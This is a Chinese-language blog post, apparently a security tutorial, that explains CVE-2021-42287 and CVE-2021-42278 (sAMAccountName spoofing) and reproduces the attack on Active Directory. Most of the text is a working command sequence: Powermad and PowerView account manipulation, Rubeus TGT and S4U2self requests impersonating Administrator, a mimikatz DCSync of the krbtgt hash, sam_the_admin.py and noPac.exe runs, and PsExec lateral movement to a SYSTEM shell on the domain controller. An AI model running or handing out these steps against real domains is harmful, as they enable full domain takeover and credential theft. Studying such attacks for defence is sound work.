CVE-2021-42287&CVE-2021-42278 域內提權
VSole2022-01-10 12:51:40
前言
網絡安全技術學習,承認??的弱點不是丑事。只有對原理了然于?,才能突破更多的限制。擁有快速學習能力的白帽子,是不能有短板的,有的只能是大量的標準板和幾塊長板。知識?,決定看到的攻擊?有多?;知識鏈,決定發動的殺傷鏈有多深。
一、漏洞原理
- CVE-2021-42278,機器賬戶的名字一般來說應該以
$結尾,但AD沒有對域內機器賬戶名做驗證。 - CVE-2021-42287,與上述漏洞配合使用,創建與DC機器賬戶名字相同的機器賬戶(不以$結尾),賬戶請求一個TGT后,更名賬戶,然后通過S4U2self申請TGS Ticket,接著DC在
TGS_REP階段,這個賬戶不存在的時候,DC會使用自己的密鑰加密TGS Ticket,提供一個屬于該賬戶的PAC,然后我們就得到了一個高權限ST。 - 假如域內有一臺域控名為 DC(域控對應的機器用戶為 DC$),此時攻擊者利用漏洞 CVE-2021-42287 創建一個機器用戶 SAMTHEADMIN-48$,再把機器用戶 SAMTHEADMIN-48$ 的 sAMAccountName 改成 DC。然后利用 DC 去申請一個TGT票據。再把 DC 的sAMAccountName 改為 SAMTHEADMIN-48$。這個時候 KDC 就會判斷域內沒有 DC 這個用戶,自動去搜索 DC$(DC$是域內已經的域控DC 的 sAMAccountName),攻擊者利用剛剛申請的 TGT 進行 S4U2self,模擬域內的域管去請求域控 DC 的 ST 票據,最終獲得域控制器DC的權限。
二、手工復現
1、操作流程
# 1. create a computer account$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -ForceNew-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose # 2. clear its SPNsSet-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose # 3. rename the computer (computer -> DC)Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose # 4. obtain a TGTRubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap # 5. reset the computer nameSet-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose # 6. obtain a service ticket with S4U2self by presenting the previous TGTRubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT] # 7. DCSync(mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt
2、擁有一個普通域賬戶
net user xxx /domain

3、嘗試攻擊
3.1、利用 powermad.ps1 新增機器帳號(域用戶默認可以新建機器賬戶)
命令
Import-Module .\Powermad.ps1New-MachineAccount -MachineAccount TestSPN -Domain xx.xx -DomainController xx.xx.xx -Verbose

3.2、clear its SPNs(清除SPN信息)
Import-Module .\powerview.ps1Set-DomainObject "CN=TestSPN,CN=Computers,DC=xxx,DC=xxx" -Clear 'serviceprincipalname' -Verbose

3.3、reset the computer name(重設機器名稱)
Set-MachineAccountAttribute -MachineAccount TestSPN -Value "xxx" -Attribute samaccountname -Verbose

3.4、Request TGT (請求TGT)
.\Rubeus.exe asktgt /user:xxx /password:x'x'x'x /domain:xxx.xxx /dc:xx.xx.xx /nowrap

3.5、Change Machine Account samaccountname(改回原來屬性)
Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute samaccountname -Verbose

3.6、Request S4U2self(獲取票據)
.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:x.x.x /self /altservice:LDAP/x.x.x. /ptt /ticket:doIE5jCCBOKgAwIBBaEDAgEWooID/zCCA/t

3.7、獲取 kbrtgt 用戶的 NTLM Hash
lsadump::dcsync /user:x\krbtgt /domain:x.x /dc:x.x.x

三、sam-the-admin復現
前置條件:
需要一個域用戶
利用過程:
拿主域控
python3 sam_the_admin.py x.x/x:x -dc-ip x.x.x.x -shell
漏洞利用

漏洞證明

拿子域控
python3 sam_the_admin.py x.x.x/x:x -dc-ip x.x.x.x -shell
漏洞利用

漏洞證明

問題
低版本的kali可能會面臨可以拿到票據,但是無法列出命令執行的窗口
四、impacket工具包復現

五、CVE-2021-42287/CVE-2021-42278 工具利用
1、下載地址
github
2、實際操作
2.1、掃描探測
.oPac.exe scan -domain x.x.x -user x -pass 'x'

測試開始之前查看域控根目錄提示拒絕訪問
dir \x.x.x\c$

2.2、直接利用(打子域是同樣方法)
./noPac.exe -domain x.x -user x -pass 'x' /dc x.x.x /mAccount x /mPassword x /service cifs /ptt

此時已可以查看域控根目錄
ls \x.x.x\c$

注意問題
如果使用cifs協議的話,時間過長之后票據會失效

如果使用ldap協議的話,票據不會失效
2.3、深度利用
使用PsExec橫向移動
通過noPac.exe使用cifs協議后,可以繼續通過PsExec64.exe直接橫向移動到域控主機或者域內其他機器
PsExec64.exe \\x.x.x.x -u x\x -i -p x -s cmd.exe
利用過程

直接提升到system權限,查看IP確實為域控IP

網絡安全感悟
做網絡安全是一個長期的過程,因為做網絡安全沒有終點,不管是網絡安全企業,還是在網絡安全行業各種不同方向的從業人員,不管你選擇哪個方向,只有在這條路上堅持不懈,才能在這條路上走的更遠,走的更好,不然你肯定走不遠,遲早會轉行或者被淘汰,把時間全浪費掉。如果你覺得自己是真的熱愛網絡安全這個行業,堅持走下去就可以了,不用去管別人,現在就是一個大浪淘金的時代,淘下去的是沙子,留下來的才是金子,正所謂,千淘萬漉雖辛苦,吹盡狂沙始到金,網絡安全的路還很長,一生只做一件事,堅持做好一件事!
VSole
網絡安全專家